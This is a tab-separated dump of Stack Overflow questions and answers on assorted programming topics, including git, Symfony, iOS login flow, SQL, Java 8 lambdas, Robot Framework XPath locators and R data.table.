35362525	0	Pipe git diff to git checkout <p>If I delete a file, I can revert it in git with:</p> <pre><code>git checkout filename </code></pre> <p>If I want to revert all deleted files, I can list them with:</p> <pre><code>git diff --diff-filter=D --name-only </code></pre> <p>What I then want to do is restore them, but</p> <pre><code>git diff --diff-filter=D --name-only | git checkout </code></pre> <p>Doesn't work, it only repeats the list to stdout, and git checkout seems to receive no input. Ditto for | git checkout HEAD -- and so on.</p> <p>I've tried this in Windows Command Prompt, in Powershell, and in Git Bash, with the same result each time.</p> <p>How do I correctly pipe input to git checkout?</p>
33065635	0	Symfony2 use getDoctrine() in AppKernel to dynamically register bundles <p>I have created an application where I can manage multiple websites. There are a lot of "extensions" (bundles) that can be used in the websites if they have the right to use it. The rights (which website can use wich bundles) are managed in my application and are saved in the database (with the namespace of the allowed bundle). </p> <p><strong>EDIT:</strong> <strike>When I call a website the bundles are loaded in the WebsiteKernel (a normal AppKernel that is commonly used by each website).</strike> <em>Each website has its's own app- and web-folder. So there is a separate app-cache for each website. Each website has it's own WebsiteKernel.php (= a normal AppKernel).</em></p> <p>Now I want to register the allowed bundles for the currently called website dynamically in <strike>the</strike> <em>its</em> WebsiteKernel. In the post "<a href="http://stackoverflow.com/questions/6609240/is-it-possible-to-dynamically-register-bundles-in-symfony2">Is it possible to dynamically register bundles in Symfony2?</a>" this was done by looking into the bundle-directories. I would like to do this the same way but I only want to include the bundles that are saved as "allowed for this website" in the database.</p> <p>To do so I need access to a repository to get the allowed bundle-namespaces. I thought I could do something like <code>$this-&gt;getDoctrine()-&gt;getRepository('MyAppBundle:MyObject');</code> but I don't know how to call this function in the WebsiteKernel (= AppKernel). When I try to call <code>$this-&gt;getDoctrine()</code> I have a UndefinedMethodExeption. Of course I try to do this after the doctrine-bundle has been registered.</p> <p><strong>So the question is: How do I have to change the code in the WebsiteKernel (= AppKernel) to use <code>$this-&gt;getDoctrine()</code>?</strong></p> <p>Btw.: This two posts have a similar problem but they hasn't been answered yet.</p> <ul> <li><a href="http://stackoverflow.com/questions/10572966/symfony2-how-to-dynamically-register-a-bundle-and-clear-the-cache-from-other">Symfony2: How to dynamically register a bundle (and clear the cache) from other bundle&#39;s controller</a></li> <li><a href="http://stackoverflow.com/questions/10060282/symfony2-register-bundle-and-its-routes-at-runtime">Symfony2 register bundle and its routes at runtime</a></li> </ul>
27015095	0	 <p>do you have an inverseattribute above MenuID in other EF entities? would you have a look at a similar example here: <a href="http://stackoverflow.com/a/25496214/3316279">http://stackoverflow.com/a/25496214/3316279</a>. also this one: <a href="http://stackoverflow.com/a/25646025/3316279">http://stackoverflow.com/a/25646025/3316279</a></p>
1827221	0	 <p>Wireshark won't help you if you have to debug HTTPS requests (unless you can get the encryption keys for both endpoints - see the Wireshark site for details). Firebug and Tamper Data are getting close, but for thorough analysis, I sometimes like to save a recorded session. I'd recommend giving <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project" rel="nofollow noreferrer">the OWASP Zed Attack Proxy</a> (the successor of <a href="http://www.parosproxy.org/" rel="nofollow noreferrer">Parosproxy</a>, which is no longer actively developed) a try. It is a Java application serving as a http(s) proxy; it provides quite a lot of features and proved to be very helpful to me in the past.</p> <p>ZAP offers an easy autoconfiguration of Firefox. Bear in mind to do that on a separate (meaning: not for other browsing activities) Firefox profile: In order to intercept https, ZAP will install a new SSL certificate.</p>
12848567	0	 <p>Give your <code>cell</code> class an <code>address</code> attribute, which is a two-tuple, e.g. <code>(0,0)</code>. Give the <code>cell</code> class a <code>__hash__</code> method, which returns <code>hash(self.address)</code>.</p> <pre><code>class cell: def __init__(self,address): self.address = address def __hash__(self): return hash(self.address) def __eq__(self): return hash(self) == hash(other) </code></pre> <p>You can still access cells by their address, but the cells know where they belong.</p> <pre><code>&gt;&gt;&gt; c = cell((0,0)) &gt;&gt;&gt; c &lt;so.cell instance at 0xb74c6a2c&gt; &gt;&gt;&gt; grid = dict() &gt;&gt;&gt; grid[c] = c &gt;&gt;&gt; grid[c] &lt;so.cell instance at 0xb74c6a2c&gt; &gt;&gt;&gt; grid[(0,0)] &lt;so.cell instance at 0xb74c6a2c&gt; </code></pre> <p>I'm not sure what else your <code>cell</code>s need to know and/or do, but if you're just doing numerical stuff here, I'd highly recommend the <a href="http://docs.scipy.org/doc/scipy/reference/sparse.html" rel="nofollow">scipy.sparse</a> module.</p>
5630312	0	Simple MySQL/AJAX Search Box question <p>I am making a simple search box on my web site. I followed a tutorial <a href="http://teamtutorials.com/web-development-tutorials/php-tutorials/creating-a-form-that-will-search-a-mysql-database" rel="nofollow">here</a></p> <p>I just need to query id numbers from a certain table in the database and display the EXACT results right beneath the searchbox</p> <p>you can see it here:</p> <p><a href="http://4evergreengroup.com/temp/" rel="nofollow">http://4evergreengroup.com/temp/</a></p> <p>click on "instant verification" and I want the search box that pops up to display its results right beneath and still remain in the fancybox</p>
21849147	0	 <p>Sure</p> <pre><code>SELECT column1, MIN(column2) FROM your_table GROUP BY column1 </code></pre> <p>Since you don't care which <code>column2</code> value you get, you could also use <code>MAX</code> or many other aggregate functions instead of <code>MIN</code>.</p>
11653390	0	 <p>Not the best way, and probably not very good if the tree is big, but you can create a recursive function like :</p> <pre><code>public String ToString() { return id + "{" + a.ToString() + ";" + b.ToString() + "}"; } </code></pre> <p>With : <code>id</code> the id of the current node, <code>a</code> and <code>b</code> the two child</p> <p><strong>EDIT</strong></p> <p>You need to be absolutely sure that this is a tree and that it does not contains any cycle.</p>
28422403	0	 <p>In apps with user sessions, it is usually best to keep login/signup on a separate view hierarchy from the rest of the app and present the internal structure if there is an active session. You can achieve this by checking for</p> <pre><code>[PFUser currentUser] </code></pre> <p>as it will return <code>nil</code> if the user is not logged in.</p> <p><strong>Provide a check in your AppDelegate like so:</strong></p> <pre><code>- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { // .. Rest of your initialization code if ([PFUser currentUser]) { // Let's pop them right to the home screen [self showHomeScreen]; } else { // Present login vc LoginView *lv = [[LoginView alloc] init]; UINavigationController *nav = [[UINavigationController alloc] initWithRootViewController:lv]; self.window.rootViewController = nav; } return YES; } - (void)showHomeScreen { SidebarViewController *sbvc = [[SidebarViewController alloc] init]; UINavigationController *menuVC = [[UINavigationController alloc] initWithRootViewController:sbvc]; UIViewController *home = [[UIViewController alloc] init]; UINavigationController *nav = [[UINavigationController alloc] initWithRootViewController:home]; SWRevealViewController *revealController = [[SWRevealViewController alloc] initWithRearViewController:menuVC frontViewController:nav]; self.window.rootViewController = revealController; } </code></pre> <p>Then, by including</p> <pre><code>- (void)showHomeScreen; </code></pre> <p>in <code>AppDelegate.h</code>, you can call this method upon successful registration/login:</p> <pre><code>AppDelegate *delegate = (AppDelegate *)[[UIApplication sharedApplication] delegate]; [delegate showHomeScreen]; </code></pre>
1233445	0	 <p>In Erlang, the <code>and</code> and <code>or</code> operators do not do short-circuit evaluation; you have to use <code>orelse</code> and <code>andalso</code> operators if you want short-circuiting behavior.</p>
18693543	0	 <p>If you're using smarty 3, just remove the {literal} tag and it should work fine. If not, and you don't want to be opening and closing literal tags, declare all the variables you need outside the literal section ie:</p> <pre><code>&lt;script&gt; var video_link = "{$video_link}"; {literal} function postlike() {... video : video_link </code></pre>
7901430	0	How to execute multiple async calls in parallel? <p>I have a number of commands that make calls to a soap web service (Betfair API). All are of the classic asynchronous programming model type ...</p> <pre><code>public void DoXXX( &lt;input parameters ...&gt; ) { XXXRequest Request = new XXXRequest(); // populate Request from input parameters ... BetfairService.BeginXXX( Request, XXXCallback, State ); } private void XXXCallback(IAsyncResult Result) { XXXResponse Response = BetfairService.EndXXX(Result); if (Response.ErrorCode == XXXErrorCode.OK) // store data from Response else // deal with error } </code></pre> <p>I want to execute a specified set of commands, and then do some calculations using the combined returned data values, once all of commands are completed.</p> <p>I'm able to do this as a sequence, by making a queue of commands and having each callback method trigger the next command in the queue once it's complete, with the calculation as the last item in the queue. This is relatively slow however.</p> <p>My ideal solution would be to have all of these commands running in parallel and then to have the calculation triggered once all of the commands are completed. I've tried looking at Task.Factory.FromAsync(), but all of the examples I can find only include direct calls to BeginXXX / EndXXX, not doing anything with the response.</p> <p>Does anyone have any pointers for a suitable solution to this problem?</p>
28342923	0	How to access nodejs config parameter in angular side? <p>i have nodejs config file(backend) in which some configuration data is defined:</p> <pre><code>module.exports = { product: { name: 'Event' }, server: { host: '0.0.0.0', port: 8000 }, database: { host: '127.0.0.1', port: 27017, db: 'EventExchange', username: '', password: '' }, key:{ privateKey: 'dufediioeduedhn', tokenExpiry: 1*30*1000*60 //1 hour }, admin:{ "username" : "admssin", "password" : "adminss123", "scope" : "adamssin" } }; </code></pre> <p>i have to access <code>port</code> and <code>host</code> parameter in angular(client side). how is it posssible ? Thanks!</p>
37735629	0	recursive attempt to load library - What does that mean in android? <p>I am working with android SIP for VoIP. The application is receiving calls successfully. However, initiation a call is having some bugs.</p> <p>there is no error in the logs but info which says </p> <p>" I/art: Thread[1,tid=23775,WaitingForJniOnLoad,Thread*=0xb4f07800,peer=0x759512e0,"main"] recursive attempt to load library "/system/lib/librtp_jni.so" "</p> <p>Can anyone explain what is the problem and how could we possible solve it?</p>
8298799	0	SSRS Summing Group Variables outside of the group <p>I have succeeded in building a number of group variables within an SSRS report, however what I want to do now is to use that variable outside of the group. </p> <p>eg - I have a variable that calculates a payment within one dataset, and another one that calculates a payment within another dataset. </p> <p>The first would be <code>=Variables!QualityPayment.Value</code>, the second would be <code>=Variables!RevenuePayment.Value</code>. Revenue and Quality are displayed in different SSRS tables. </p> <p>I want to add the Quality Payment and Revenue Payment together, but when I try and put them outside of the table I get the error message </p> <p><em>'Expressions can only refer to a Variable declared within the same grouping scope, a containing grouping scope, or those declared on the report.'</em></p> <p>How do I go about adding the two together?</p> <p>Thanks in advance</p> <p>Jon</p>
35741298	0	 <p>Yes, you may use inner_product (dot product) to take the result in very simple way.</p> <p>Make vectors </p> <pre><code>V2 = P - P2 V3 = P - P3 V = P3 - P2 </code></pre> <p>Find signs of dot products <code>D2 = Dot(V2,V)</code> and <code>D3 = Dot(V3,V)</code></p> <p>Projection of Point P lies at S(P2, P3), if </p> <pre><code>D2 &gt;=0 and D3 &lt;=0 </code></pre> <p>Note - there is no need in normalizations, square roots etc. Just some subtractions, multiplications and additions.</p> <p>(Explanation - angles <code>P-P2-P3</code> and <code>P-P3-P2</code> should be acute or right)</p>
13694421	0	Resize tumblr videos <p>I have created a tumblr theme. Everything was working till I decided to post a video on tumblr video upload. I have a box on main page 250x196 pixels where everything goes in. </p> <ul> <li>If it is a photo, I just make it 250x196 pixels (I don't care about aspect ratio. I've used jQuery to keep aspect ratio but I didn't like the result).</li> <li>If it's a photoset I use anythingslider and create a slide.</li> <li>If it's a text post I use jquery and take the first image as a tumbnail.</li> <li>If it's a video the same as photos. I just resize the iframe. At least that's what I thought I was doing.</li> </ul> <p><em>I also use prettyphoto as a lightbox clone for both images and videos.</em></p> <p>So when I used tumblr upload video, I had these problems: </p> <ol> <li>First the video didn't get the aspect ratio of the iframe i think the reason for that might be the data values for height and with the iframe is using.</li> <li>As you can see <a href="http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/" rel="nofollow"><strong>here</strong></a>; for the iframe to appear, I was using the inline method. I had a hidden div which had the 500pixels version of the video. The problem is that {Video-250} and {Video-500} tumblr variables both create a div for the tumblr videos with the same id. So it takes the hidden video and moves it next to the 250 pixels version.</li> <li>The build in lightbox of tumblr for videos had a conflict with prettyphoto. When I was clicking the full screen of the video something was wrong with the z-indexes. I didn't spend time on solving this issue because I already had so many problems.</li> </ol> <p>As a workaround, What I did was this: </p> <pre><code> &lt;div class="media" data-embed="{JSVideoEmbed-250}" data-video="{JSVideo-250}"&gt;&lt;/div&gt; </code></pre> <p>You can see exactly what I mean on a test blog i create with three random videos:</p> <p><a href="http://stroumfaki.tumblr.com/" rel="nofollow">http://stroumfaki.tumblr.com/</a></p> <p>But the problem with the resizing still remains. The iframe is 250x196 pixels but the contents aren't. I also don't understand why tumblr posts a javascript in the first only video. The same script it posts at the end of the page. </p> <p>What I ask might be a bit hard to articulate. I hope the test blog will help you understand what I mean.</p>
32471459	0	How to find visible element and perform click action in robot framework? <p>I have one window on which i have four links</p> <ol> <li><p>Exit Button Link - <code>&lt;a id="exitBtn" class="x-btn questionpreview_exitbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 0px; top: 0px; margin: 0px;"&gt;</code></p></li> <li><p>Submit button Link - <code>&lt;a id="submitBtn" class="x-btn questionpreview_submitbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 864px; top: 0px; margin: 0px;"&gt;</code></p></li> <li><p>Back Button Link - <code>&lt;a id="prevBtn" class="x-btn questionpreview_backbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 733px; top: 0px; margin: 0px; display: none;"&gt;</code></p></li> <li><p>Review Button Link - <code>&lt;a id="reviewBtn" class="x-btn questionpreview_reviewbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 798px; top: 0px; margin: 0px; display: none;"&gt;</code></p></li> </ol> <p>Out of these five button only two button (Exit and Submit) are visible on first window. When I click on submit button having using this locator:</p> <pre><code>xpath=//*[contains(text(),'Question Preview')]/ancestor::div[6]//div[@id="previewWindow-body"]//div[@id="preview-top-container"]//*[contains(text(),'Submit')]/ancestor::a` </code></pre> <p>it works and the next window opens. On next window submit button gets hidden and it shows exit, back and Review button</p> <p>They look like this</p> <ol> <li><p>Exit button - <code>&lt;a id="exitBtn" class="x-btn questionpreview_exitbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 0px; top: 0px; margin: 0px;"&gt;</code></p></li> <li><p>Back Button - <code>&lt;a id="prevBtn" class="x-btn questionpreview_backbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 798px; top: 0px; margin: 0px;"&gt;</code></p></li> <li><p>Review Button - <code>&lt;a id="reviewBtn" class="x-btn questionpreview_reviewbtn_sb x-unselectable x-btn-toolbar x-box-item x-toolbar-item x-btn-default-toolbar-small x-noicon x-btn-noicon x-btn-default-toolbar-small-noicon" tabindex="0" unselectable="on" hidefocus="on" style="right: auto; left: 863px; top: 0px; margin: 0px;"&gt;</code></p></li> </ol> <p>My question is when next window opens I could not click any or find any of these three buttons. I am using xpath for back button as <code>//*[contains(text(),'Back')]/ancestor::a[@id="prevBtn" and not(contains(@style,'display: none'))]</code> but it is not working.</p>
10378109	0	 <p>If you look in the code, it looks like there was a pull request to get generators in, but for some reason that hasn't happened. You can use twitter-bootstrap-rails first to get those files, and then overwrite them with bootstrap-sass.</p> <p>You can also try this:</p> <pre><code>compass create compass-test -r bootstrap-sass --using bootstrap </code></pre> <p>This isn't really a substitute for scaffolding, though.</p>
283180	0	Is there a way to put aspx files into a class library in Visual Studio 2008 .NET 3.5? <p>I've got a lot of pages in my site, I'm trying to think of a nice way to separate these into areas that are a little more isolated than just simple directories under my base web project. Is there a way to put my web forms into a separate class library? If so, how is it done?</p> <p>Thanks in advance.</p>
2957250	0	 <p>In your edit you specify that your helper class is in a seperate assembly. If you want to avoid references and you have control over your app.config files you could put an </p> <pre><code>&lt;add key="typeOfSystem" value="Forms|Web"/&gt; </code></pre> <p>in your projects and access it with</p> <pre><code>ConfigurationManager.AppSettings["typeOfSystem"] </code></pre> <p>using <a href="http://msdn.microsoft.com/en-us/library/system.configuration.configurationmanager.aspx" rel="nofollow noreferrer">ConfigurationManager</a> along with its property <a href="http://msdn.microsoft.com/en-us/library/system.configuration.configurationmanager.appsettings.aspx" rel="nofollow noreferrer">AppSettings</a>. Don't forget to add a reference to <code>System.Configuration</code> in your project. Note that you get the AppSettings of the hosting application. By doing this you <em>need</em> to add a key in your parent application's app.config, or output some error or warning if it's not specified perhaps.</p>
12711362	0	 <p>Go to <code>Plugins -&gt; Source Code Formatter -&gt; Format Current Source</code> or just press <code>Ctrl + I</code>.</p> <p>If you want to set up your formatting preferences, choose <code>Plugins -&gt; Source Code Formatter -&gt; Options...</code></p>
19805745	0	 <p>The "offender" can be found in <code>TitleAreaDialog.getInitialSize()</code>. It uses some hard-coded constants for minimum size.</p> <p>Depending on how you want the dialog to look like, there are several solutions:</p> <ul> <li>override <code>getInitialSize()</code> and specify whatever size you want</li> <li>override <code>initializeBounds()</code> and set some size of your own, or call <code>this.getShell().pack()</code>. In this case don't forget to first call <code>super.initializeBounds()</code> because from what I see from the code, it seems it does more than just initializing the bounds.</li> </ul>
3146328	0	Making an HttpRequest with MultipartEntity in it <p>I've been frustrated at trying to figure out how to make an http request with a multipart entity in it. The multipart has a custom boundary but I can't seem to be able to set it. My code below results in a response message of saying that my message does not contain multiple parts. </p> <pre><code>HttpPut addDoc = new HttpPut(url); addDoc.addHeader("Content-Type", "multipart/related; boundary=\"END_OF_PART\""); String bodyString = "Test for multipart update"; String titleString = "Title Test for multipart update"; MultipartEntity entity = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE); StringBody title = new StringBody(titleString, "application/atom+xml",Charset.forName("UTF-8")); StringBody body = new StringBody(bodyString, "text/plain",Charset.forName("UTF-8")); entity.addPart("title", title); entity.addPart("body", body); addDoc.setEntity(entity); </code></pre>
31508189	0	Shopify - Untrusted Connection on App Instal <p>I am working on a new app and am installing it manually by typing the URL into my web browser. This is properly bringing me to my Shopify store and is displaying the permissions screen as desired; however, when I click the 'Install app' button, I receive a page that says there is an Untrusted Connection. The URL in the browser reads:</p> <p>https://.myshopify.com.myshopify.com/admin/oauth/authorize?client_id=&amp;scope=read_customers,write_orders&amp;redirect_uri=;</p> <p>Note that the myshopify.com portion of the URL is repeated twice and the user is not sent to the redirect URI I specified.</p> <p>What could be going wrong here? How can I fix this issue? Shopify doesn't really offer much in the form of support. Any help would be appreciated.</p>
12006393	0	 <p>From the "Core Data Programming Guide":</p> <blockquote> <p>... To summarize, though, if you execute a fetch directly, you should typically not add Objective-C-based predicates or sort descriptors to the fetch request. Instead you should apply these to the results of the fetch.</p> </blockquote> <p>This means that you cannot use a custom sort descriptor in your fetch request. You must store an additional (non-transient) attribute in the entity, for example "0", "1", "2" for positive/negative/zero sums.</p> <p>You can then use this attribute for both the sort descriptor <em>and</em> for the <code>sectionNameKeyPath</code>, you don't need a transient attribute "sectionName".</p> <p>The mapping from "0", "1", "2" to the actual section header is then done in <code>tableView:titleForHeaderInSection:</code>.</p> <pre><code>- (NSString *)tableView:(UITableView *)tableView titleForHeaderInSection:(NSInteger)section { id &lt;NSFetchedResultsSectionInfo&gt; sectionInfo = [[self.controller sections] objectAtIndex:section]; int order = [[sectionInfo name] intValue]; if (order == 0) return @"POSITIVE SECTION"; else if (order == 1) return @"NEGATIVE SECTION"; else return @"ARCHIVE SECTION"; } </code></pre>
2264213	0	'MINMAXINFO' : undeclared identifier in MFC application <p>I tried to use MINMAXINFO to resize the window dynamically in MFC application (in VS 2008). i added OnGetMinMaxInfo function through properties window.</p> <p>When i compile the code, i get an error saying that </p> <p>'ON_WM_GETMINMAXINFO': identifier not found 'MINMAXINFO' : undeclared identifier</p> <p>Please help me to resolve this.</p> <p>Regards, AH</p>
17204279	0	Does Java 8 Support Closures? <p>I'm confused. I thought Java8 was going to emerge from the stone age and start supporting lambdas / closures. But when I try:</p> <pre><code>public static void main(String[] args) { int number = 5; ObjectCallback callback = () -&gt; { return (number = number + 1); }; Object result = callback.Callback(); System.out.println(result); } </code></pre> <p>it says that <code>number should be effectively final</code>. That's uh, not a closure I think. That just sounds like it's copying the environment by value, rather than by reference.</p> <p><strong>Bonus question!</strong></p> <p>Will android support Java-8 features?</p>
976465	0	parallel c++ join in .net 1.1 <p>I'm trying to spawn and then join two threads using MS VS 6.0 (2003), MS .NET Framework 1.1.</p> <p>The following seems to be a reasonable solution:</p> <pre><code>CWinThread* thread1 = AfxBeginThread(worker, &amp;parallel_params); CWinThread* thread2 = AfxBeginThread(worker, &amp;parallel_params); WaitForSingleObject(thread1-&gt;m_hThread, INFINITE); WaitForSingleObject(thread2-&gt;m_hThread, INFINITE); </code></pre> <p>but my main concern has to do with this statement in the documentation: "If this handle is closed while the wait is still pending, the function's behavior is undefined." When do handles get closed? Does ending the worker proc close the handle? If so, am I in trouble? Is this really a reasonable solution??</p>
34325120	0	Isabelle and class overloading <p>Two classes are defined containing the same function, but when the two classes is used in a locale there is an unification error:</p> <pre><code>theory Scratch imports Main begin class c1 = fixes getName :: "'a ⇒ string" class c2 = fixes getName :: "'a ⇒ string" locale c12 = fixes match :: "('a::c1) ⇒ ('b::c2) ⇒ bool" assumes as : "match a b ⟶ (getName a) = (getName b)" end </code></pre> <p>The unification error is resolved by renaming (getName b) to (getName_b b) and use the class definition</p> <pre><code> class c2 = fixes getName_b :: "'a ⇒ string" </code></pre> <p>Does a solution exist without renaming?</p> <p><a href="http://stackoverflow.com/questions/15870788/defining-overloaded-constants-in-isabelle">Here</a> a solution is given when the overloading is needed when datatypes are parameters. </p>
26773244	0	 <p>In the code specified there is no implementation of com.konylabs.middleware.common.JavaService2 class. JavaService will work if you implement JavaService2 class in your class file and override its invoke meathod.</p> <p>below is the sample:</p> <pre><code>public class &lt;YOUR CLASS NAME&gt; implements JavaService2 { @Override public Object invoke(String serviceId, Object[] arg1, DataControllerRequest arg2, DataControllerResponse arg3) throws Exception { // YOUR LOGIC return result; } </code></pre> <p>}</p>
27044983	0	 <p>The Swift solution (thanks @YvesJusot): </p> <pre><code>let calendar = NSCalendar.currentCalendar() let comps = calendar.components(NSCalendarUnit.WeekOfYearCalendarUnit|NSCalendarUnit.YearCalendarUnit|NSCalendarUnit.MonthCalendarUnit|NSCalendarUnit.WeekCalendarUnit|NSCalendarUnit.WeekdayCalendarUnit, fromDate: NSDate()) as NSDateComponents comps.setValue(2, forComponent: NSCalendarUnit.WeekdayCalendarUnit) let monday = calendar.dateFromComponents(comps)! println("\(monday)") </code></pre>
29915283	0	 <p>Twilio developer evangelist here.</p> <p>I'm afraid <a href="https://www.twilio.com/docs/api/rest/call#list-get-filters" rel="nofollow">the Calls endpoint only takes one "From" number as a filter</a>, you can't pass a list of numbers to it. You might want to return all calls and then filter manually yourself or alternatively loop through the numbers you want to return calls from and make list calls for each of them.</p>
31529310	0	Where is the Java bug in my constructor code for this KnockKnockProtocol class? <p>I'm studying the following client/server code called <a href="https://docs.oracle.com/javase/tutorial/networking/sockets/clientServer.html" rel="nofollow">KnockKnockServer and KnockKnockClient.</a> It also has a helper class called <a href="https://docs.oracle.com/javase/tutorial/displayCode.html?code=https://docs.oracle.com/javase/tutorial/networking/sockets/examples/KnockKnockProtocol.java" rel="nofollow">KnockKnockProtcol</a>, which is responsible for the order of KnockKnock jokes.</p> <p>I want to modify it so that you can start the program at a specific joke. As it is right now, you have to start with the first joke. </p> <p>This is what tried for KnockKnockProtocol:</p> <pre><code>public class KnockKnockProtocol { int ourstep; public KnockKnockProtocol (int step) { this.ourstep = step; } private static final int WAITING = 0; private static final int SENTKNOCKKNOCK = 1; private static final int SENTCLUE = 2; private static final int ANOTHER = 3; private static final int NUMJOKES = 5; private int state = WAITING; int currentJoke = ourstep; //we initialize the step here private String[] clues = { "Turnip", "Little Old Lady", "Atch", "Who", "Who" }; private String[] answers = { "Turnip the heat, it's cold in here!", "I didn't know you could yodel!", "Bless you!", "Is there an owl in here?", "Is there an echo in here?" }; public String processInput(String theInput) { String theOutput = null; if (state == WAITING) { theOutput = "Knock! Knock!"; state = SENTKNOCKKNOCK; } else if (state == SENTKNOCKKNOCK) { if (theInput.equalsIgnoreCase("Who's there?")) { theOutput = clues[currentJoke]; state = SENTCLUE; } else { theOutput = "You're supposed to say \"Who's there?\"! " + "Try again. Knock! Knock!"; } } else if (state == SENTCLUE) { if (theInput.equalsIgnoreCase(clues[currentJoke] + " who?")) { theOutput = answers[currentJoke] + " Want another? (y/n)"; state = ANOTHER; } else { theOutput = "You're supposed to say \"" + clues[currentJoke] + " who?\"" + "! Try again. Knock! Knock!"; state = SENTKNOCKKNOCK; } } else if (state == ANOTHER) { if (theInput.equalsIgnoreCase("y")) { theOutput = "Knock! Knock!"; if (currentJoke == (NUMJOKES - 1)) currentJoke = 0; else currentJoke++; state = SENTKNOCKKNOCK; } else { theOutput = "Bye."; state = WAITING; } } return theOutput; } } </code></pre> <p>And in the Server class, I call the KnockKnockProtocol like this :</p> <pre><code> /* omitting boilerplate code */ String inputLine, outputLine; // Initiate conversation with client KnockKnockProtocol kkp = new KnockKnockProtocol(2); outputLine = kkp.processInput(null); out.println(outputLine); while ((inputLine = in.readLine()) != null) { outputLine = kkp.processInput(inputLine); out.println(outputLine); if (outputLine.equals("Bye.")) break; </code></pre> <p>The problem is that , when I run my code I am always starting with the "Turnip" joke. How do I make it so that I can start at an arbitrary joke within the list of jokes? I can see that the joke is controlled by the <code>clues</code> array, but after that I'm not seeing it. thanks</p>
9972988	0	 <p>You have to add your activity in <strong>AndroidManifest.xml</strong>. Refer this link : <a href="http://stackoverflow.com/questions/736571/using-intent-in-an-android-application-to-show-another-activity">Using Intent in an Android application to show another activity</a></p>
11364484	0	 <p>I see the join is taking a while can you confirm you have the foreign key in place. Also if you show me the SQL I might be able to help.</p>
26804433	0	 <p>Found my problem, had to specify the owner (self) when loading my nib:</p> <pre><code>self.view.addSubview(UINib(nibName: "KeyboardView", bundle: nil).instantiateWithOwner(self, options: nil)[0] as UIView) </code></pre>
34060177	0	 <p>Jade indentation is "2 spaces"</p> <p>you should use</p> <pre><code>if !hide_it p hello </code></pre> <p>it would also work with the "-" prefix (javascript mode) but it is not advised in this case where the standard Jade <code>if</code> notation can work.</p> <p>you can test your template in the online demo - <a href="http://jade-lang.com/demo/" rel="nofollow">http://jade-lang.com/demo/</a></p>
22724556	0	 <p>Sure it's possible. You'd need to explode the captured pages on the slash <code>/</code> and go from there though.</p> <pre><code>Route::any('{any}', function($pages) { $pages = explode('/', $pages); // Do whatever... })-&gt;where('any', '.*'); </code></pre> <p>A few things to be aware of:</p> <ol> <li>This route should be placed <strong>last</strong>, otherwise you won't be able to hit any other routes.</li> <li>This captures absolutely <strong>everything</strong>, you'll need to return an error should the page not exist.</li> <li>I'm using <code>Route::any</code> in the above to capture any request (<code>POST</code>, <code>GET</code>, etc), you might want to limit this to a subset of those or only <code>GET</code>, that's up to you.</li> <li>As pointed out in the comments below, you can no longer use the <code>URL::route</code> helper but you can still make use of the <code>URL::to</code> helper. This shouldn't be a problem as it's more than likely you're storing these dynamic pages in a database and as such the URI should be stored within the database as well.</li> </ol>
24454657	0	 <p>Unfortunately for your case, I don't think this is possible to do <em>before</em> a bind like that. Here is another question on the subject: <a href="http://stackoverflow.com/questions/1379125/make-drop-down-list-item-unselectable">make drop down list item unselectable</a></p> <p><strong>Update:</strong></p> <p>I'm editing my answer based on Derrick's answer and your comment about it. Derrick is suggesting that <em>after</em> the dropdownlist is bound, then go through and disable the separators. So it would look something more like this:</p> <pre><code>protected void gvCategory_DataBound(object sender, EventArgs e) { foreach (ListItem li in gvCategory.Items) { if(li.Text.Contains("--")) li.Attributes.Add("disabled", "true"); } } </code></pre> <p><strong>Update 2:</strong></p> <p>Add the OnDataBound event to manipulate the DropDownList after it is bound.</p> <pre><code>&lt;asp:DropDownList ID="gvCategory" runat="server" OnDataBound="gvCategory_DataBound"&gt;&lt;/asp:DropDownList&gt; </code></pre>
33045588	0	 <p>Using data.table...</p> <pre><code>my_rows &lt;- seq.int(max(tabulate(df$Initials))) library(data.table) setDT(df)[ , .SD[my_rows], by=Initials] # Initials data # 1: a 2 # 2: a 3 # 3: b 4 # 4: b NA </code></pre> <p><code>.SD</code> is the <strong>S</strong>ubset of <strong>D</strong>ata associated with each <code>by=</code> group. We can subset its rows like <code>.SD[row_numbers]</code>, unlike a data.frame which requires an additional comma <code>DF[row_numbers,]</code>.</p> <p>The analogue in dplyr is</p> <pre><code>my_rows &lt;- seq.int(max(tabulate(df$Initials))) library(dplyr) setDT(df) %&gt;% group_by(Initials) %&gt;% slice(my_rows) # Initials data # (fctr) (dbl) # 1 a 2 # 2 a 3 # 3 b 4 # 4 b NA </code></pre> <p>Strangely, this only works if <code>df</code> is a data.table. I've filed <a href="https://github.com/hadley/dplyr/issues/1446" rel="nofollow">a report/query with dplyr</a>. There's a good chance that the dplyr devs will prevent this usage in a future version.</p>
